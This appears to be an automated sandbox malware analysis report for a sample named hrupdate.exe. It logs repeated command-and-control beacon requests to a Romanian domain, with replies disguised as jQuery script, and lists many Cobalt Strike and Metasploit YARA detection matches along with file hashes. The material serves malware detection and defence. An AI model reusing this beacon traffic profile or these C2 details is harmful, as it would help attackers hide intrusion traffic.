2024-12-19 21:41:57 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:58 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:58 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:58 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49919	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:42:00 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:42:00 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:42:00 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5713 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:42:00 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49926	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:42:02 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:42:03 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:42:02 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5671 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:42:03 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49932	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:42:04 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:42:05 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:42:05 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5628 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:42:05 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49938	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:42:07 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:42:07 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:42:07 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5692 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:42:07 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Target ID:	0
Start time:	16:40:01
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\hrupdate.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hrupdate.exe"
Imagebase:	0xb00000
File size:	244'224 bytes
MD5 hash:	03B14E9338A1C9E5551F9450207F6D84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2210862324.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2873052676.00000000012AD000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2325614801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2258966363.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2166372998.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.1920557369.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.1737677709.0000000001272000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2009759861.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2391768774.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2369855570.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.1787841021.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.1787904161.00000000012AE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000003.2672627647.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000003.2303560240.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected 